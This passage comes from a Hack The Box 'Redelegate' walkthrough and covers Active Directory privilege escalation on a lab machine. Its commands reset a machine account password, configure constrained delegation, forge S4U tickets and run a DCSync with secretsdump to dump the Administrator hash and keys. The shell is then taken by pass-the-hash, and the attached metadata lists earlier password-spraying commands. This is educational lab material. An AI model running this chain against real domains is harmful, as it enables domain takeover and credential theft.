target.\n\n## User Flag\n\n```bash\n*Evil-WinRM* PS C:\\Users\\Helen.Frost\\Desktop> type user.txt\ne2d0c76d427d930********\n```\n\n# Privilege Escalation\n\nEarlier, BloodHound revealed that members of the **IT** group have **GenericAll** permissions over the `FS01

computer account.\n\n\n\nSince `Helen.Frost` belongs to the IT group, we can fully control the `FS01

computer object. The first thing I did was reset its password to one that I know.\n\n```bash\nbloodyAD -H 10.129.234.50 -d redelegate.vl -u helen.frost -p 'Pentest@123' set password FS01$ 'Pentest@123'\n[+] Password changed successfully!\n```\n\nTo verify that the password change succeeded, I authenticated as the `FS01

computer account.\n\n```bash\nnxc smb redelegate.vl -u FS01$ -p Pentest@123\nSMB 10.129.234.50 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:None) (Null Auth:True)\nSMB 10.129.234.50 445 DC [+] redelegate.vl\\FS01$:Pentest@123\n```\n\nPerfect. We now control the `FS01

machine account.\n\nLooking at BloodHound again, we can see that `FS01

is simply a member of the **Domain Computers** group.\n\n\n\nHowever, another interesting privilege exists.\n\nThe `Helen.Frost` account possesses the **SeEnableDelegationPrivilege** privilege.\n\n\n\nThis privilege allows trusted users to configure Kerberos delegation settings on computer objects.\n\nSince we already control the `FS01

computer object through **GenericAll**, and `Helen.Frost` has permission to configure delegation, we can combine these privileges to perform a **Constrained Delegation** attack.\n\n### Understanding the Attack\n\nActive Directory supports three delegation models:\n\n### 1. Unconstrained Delegation\n\nThe delegated server caches users' TGTs after authentication.\n\nIf that server is compromised, attackers can steal cached TGTs and impersonate users—including Domain Administrators.\n\nCommon attacks include:\n\n- TGT theft\n- Pass-the-Ticket\n- PetitPotam\n- PrinterBug\n\n---\n\n### 2. Constrained Delegation\n\nInstead of trusting a server for everything, Active Directory limits delegation to specific services listed in the `msDS-AllowedToDelegateTo` attribute.\n\nIf an attacker controls the delegated account, they can abuse **S4U2Self** and **S4U2Proxy** to impersonate users when accessing only those allowed services.\n\n---\n\n### 3. Resource-Based Constrained Delegation (RBCD)\n\nHere the target computer decides which other machines are allowed to impersonate users to it through the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute.\n\nRBCD is widely abused because compromising a writable computer object is often enough to gain administrative access to another machine.\n\n---\n\nOur objective is to configure **traditional constrained delegation** on the `FS01

computer account.\n\nFirst, we configure the `msDS-AllowedToDelegateTo` attribute so that `FS01

is allowed to delegate to the `CIFS` service running on the Domain Controller.\n\n```bash\nbloodyAD -d redelegate.vl -u helen.frost -p 'Pentest@123' -H dc.redelegate.vl -t 10 set object 'fs01 msDS-AllowedToDelegateTo -v \"CIFS/dc.redelegate.vl\"\n[+] fs01 s msDS-AllowedToDelegateTo has been updated\n```\n\nA machine account must also be marked as **Trusted for Protocol Transition** (`TRUSTED_TO_AUTH_FOR_DELEGATION`) before Kerberos will allow S4U requests.\n\nWe can enable that flag as well.\n\n```bash\nbloodyAD -d redelegate.vl -u helen.frost -p 'Pentest@123' -H dc.redelegate.vl -t 10 add uac 'fs01 -f TRUSTED_TO_AUTH_FOR_DELEGATION\n[+] ['TRUSTED_TO_AUTH_FOR_DELEGATION'] property flags added to fs01 s userAccountControl\n```\n\nAt this point, `FS01

is fully configured for constrained delegation.\n\nThe next step is to obtain a Kerberos TGT for the computer account.\n\n```bash\nimpacket-getTGT redelegate.vl/fs01$:'Pentest@123'\nImpacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies\n\n[*] Saving ticket in fs01$.ccache\n```\n\nNow we can attempt to impersonate another principal using S4U.\n\nInitially, I tried impersonating the `Administrator` account.\n\n```bash\nimpacket-getST redelegate.vl/fs01\\$ -spn \"cifs/dc.redelegate.vl\" -impersonate Administrator\nImpacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies\n\nPassword:\n[-] CCache file is not found. Skipping...\n[*] Getting TGT for user\n[*] Impersonating Administrator\n[*] Requesting S4U2self\n[*] Requesting S4U2Proxy\n[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)\n[-] Probably SPN is not allowed to delegate by user fs01$ or initial TGT not forwardable\n```\n\nThe KDC refuses the request.\n\nInstead of impersonating the `Administrator` user directly, we can impersonate the **Domain Controller's computer account (`DC

)**. Since we configured delegation to the `CIFS` service running on the Domain Controller, this request is permitted.\n\n```bash\nimpacket-getST redelegate.vl/fs01\\$ -spn \"cifs/dc.redelegate.vl\" -impersonate dc$\nImpacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies\n\nPassword:\n[-] CCache file is not found. Skipping...\n[*] Getting TGT for user\n[*] Impersonating dc$\n[*] Requesting S4U2self\n[*] Requesting S4U2Proxy\n[*] Saving ticket in dc$@[email protected]\n```\n\nSuccess!\n\nWe now have a valid Kerberos service ticket for the `DC

account.\n\nExport the ticket so that Impacket tools will automatically use it.\n\n```bash\nexport KRB5CCNAME=dc\\$@[email protected]\n\nklist\nTicket cache: FILE:dc$@[email protected]\nDefault principal: [email protected]\n\nValid starting Expires Service principal\n07/03/2026 00:40:45 07/03/2026 10:40:37 cifs/[email protected]\n renew until 07/04/2026 00:40:38\n```\n\nWith a valid Kerberos ticket for the Domain Controller, we can perform a DCSync attack and dump the `Administrator` account's NTLM hash.\n\n```bash\nimpacket-secretsdump -k -no-pass redelegate.vl/dc\\$\\@dc.redelegate.vl -just-dc-user Administrator\nImpacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies\n\n[*] Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)\n[*] Using the DRSUAPI method to get NTDS.DIT secrets\nAdministrator:500:aad3b435b51404eeaad3b435b51404ee:ec17f7a2a4d96e177bfd101b94ffc0a7:::\n[*] Kerberos keys grabbed\nAdministrator:aes256-cts-hmac-sha1-96:db3a850aa5ede4cfacb57490d9b789b1ca0802ae11e09db5f117c1a8d1ccd173\nAdministrator:aes128-cts-hmac-sha1-96:b4fb863396f4c7a91c49ba0c0637a3ac\nAdministrator:des-cbc-md5:102f86737c3e9b2f\n[*] Cleaning up...\n```\n\nTo verify that the recovered NTLM hash is valid, I authenticated with `NetExec`.\n\n```bash\nnxc smb redelegate.vl -u Administrator -H ec17f7a2a4d96e177bfd101b94ffc0a7\nSMB 10.129.234.50 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:None) (Null Auth:True)\nSMB 10.129.234.50 445 DC [-] Error checking if user is admin on 10.129.234.50: The NETBIOS connection with the remote host timed out.\nSMB 10.129.234.50 445 DC [+] redelegate.vl\\Administrator:ec17f7a2a4d96e177bfd101b94ffc0a7\n```\n\nThe hash is valid.\n\nFinally, using Pass-the-Hash with Evil-WinRM gives us a shell as the Domain Administrator.\n\n```bash\nevil-winrm -i redelegate.vl -u Administrator -H ec17f7a2a4d96e177bfd101b94ffc0a7\n\nEvil-WinRM shell v3.9\n\nWarning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline\n\nData: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion\n\nInfo: Establishing connection to remote endpoint\n*Evil-WinRM* PS C:\\Users\\Administrator\\Documents> whoami\nredelegate\\administrator\n```\n\n## Root Flag\n\n```bash\n*Evil-WinRM* PS C:\\Users\\Administrator\\Desktop> type root.txt\n3c394963958b4070**********\n```\n\n## Final Thoughts\n\n> **Redelegate** is one of those Active Directory machines where every step builds naturally on the previous one. What starts as a simple **anonymous FTP** share gradually unfolds into a full **Domain Administrator** compromise through a combination of password reuse, Active Directory misconfigurations, and Kerberos delegation abuse.\nThe box does an excellent job of reinforcing several important concepts, including **KeePass credential recovery**, **MSSQL-based domain enumeration**, **password spraying**, **BloodHound analysis**, **ForceChangePassword abuse**, **GenericAll over computer objects**, and finally **Constrained Delegation** using the **S4U2Self/S4U2Proxy** Kerberos extensions.\nOne of the biggest takeaways from this machine is that **no single vulnerability was critical on its own**. Instead, success came from carefully enumerating each foothold, understanding what every permission allowed, and chaining multiple low-impact misconfigurations into a complete domain compromise. That's exactly how many real-world Active Directory engagements look.\nI hope this walkthrough helped you understand not only **what** each step does, but also **why** it works. If something wasn't completely clear, I highly encourage you to recreate the attack in your own lab and experiment with each technique—it makes a huge difference in understanding Active Directory internals.\n\nThanks for reading, and I'll see you in the next writeup. Happy hacking!\n\n```","excerpt":"Redelegate is a hard-difficultly Windows machine that starts with Anonymous FTP access, which allows the attacker to download sensitive Keepass Database files. The attacker then discovers that the credentials in the database are valid for MSSQL local login, which leads to enumerate SIDs and performs a password spray attack. Being a member of the HelpDesk group, the newly compromised user account Marie.Curie has a User-Force-Change-Password Access Control setup over the Helen.Frost user account; that user account has privileges to get a PS remoting session onto the Domain Controller. The Helen.Frost user account also has the SeEnableDelegationPrivilege assigned and has full control over the FS01$ machine account, essentially allowing the attacker account to modify the msDS-AllowedToDelegateTo LDAP attribute and change the password of a computer object and perform a Constrained Delegation attack.","difficulty":"Hard","category_id":"23","author_id":"33","tags":["Hack The Box","HTB Redelegate","Windows","Active Directory","Hard","Active Directory Enumeration","FTP Anonymous Access","KeePass","KeePassXC","Password Spraying","Password Reuse","MSSQL","Microsoft SQL Server","SQL Server Enumeration","RID Cycling","Metasploit","NetExec","NXC","BloodHound","LDAP Enumeration","ForceChangePassword","bloodyAD","GenericAll","Computer Object Takeover","Machine Account","Kerberos","Kerberos Delegation","Constrained Delegation","S4U2Self","S4U2Proxy","SeEnableDelegationPrivilege","msDS-AllowedToDelegateTo","TRUSTED_TO_AUTH_FOR_DELEGATION","Impacket","getTGT","getST","Kerberos Tickets","DCSync","secretsdump","Pass-the-Hash","Evil-WinRM","WinRM","Privilege Escalation","Domain Administrator","Windows Privilege Escalation","Active Directory Attack Chain"],"ctf_name":"HackTheBox","ctf_year":2026,"is_locked":0,"published_at":"2026-06-29T18:40:13.000Z","thumbnail_url":"/uploads/redelegate-htb/images/img529","writeup_type":"CPTS","views":9,"moderation_status":"published","publish_requested":0,"approved_by":null,"is_hidden":0,"deleted_at":null,"created_at":"2026-06-29T18:40:13.950Z","updated_at":"2026-07-02T19:44:25.814Z","machine_os":"windows","machine_os_icon_url":"","read_time_minutes":240,"locked_description":null,"release_date":"2025-12-07T00:00:00.000Z","machine_status":"Retired","attack_path":null,"client_request_id":null,"category_name":"HTB","category_slug":"htb","category_color":"#334155","category_icon":"W","category_icon_type":"image","category_icon_image_url":"/uploads/htb/images/img531","author_username":"Madhav","commands_used":["Nmap scan report for 10.129.234.50","echo 10.129.234.50 dc.redelegate.vl redelegate.vl | sudo tee -a /etc/hosts","smbclient -L -N \\\\\\\\10.129.234.50\\ do_connect: Connection to -N failed (Error NT_STATUS_NOT_FOUND)","ftp 10.129.234.50","ftp> binary","ftp> get TrainingAgenda.txt","cat CyberAudit.txt","cat TrainingAgenda.txt","cat sesons-wordlist.txt","file Shared.kdbx","sudo apt install keepassxc","keepassxc Shared.kdbx","nxc mssql 10.129.23.215 -u username -p passwords --local-auth","impacket-mssqlclient -dc-ip 10.129.23.215 dc.redelegate.vl/SQlGuest:[email protected]","SQL (SQLGuest guest@master)> SELECT SUSER_SID('redelegate\\Administrator');","auxiliary(admin/mssql/mssql_enum_domain_accounts) > show options","msf auxiliary(admin/mssql/mssql_enum_domain_accounts) > run","cut -d'\\' -f2 usernames > usernames.txt","cat usernames.txt","cat passwords.txt","nxc smb redelegate.vl -u usernames.txt -p passwords.txt","nxc smb redelegate.vl -u Marie.Curie -p Fall2024! --shares","nxc ldap redelegate.vl -u Marie.Curie -p Fall2024! --bloodhound -c All --dns-server 10.129.234.50","bloodyAD -H 10.129.234.50 -d redelegate.vl -u Marie.Curie -p 'Fall2024!' set password James.Dinkleberg 'Pentest@123'"]}}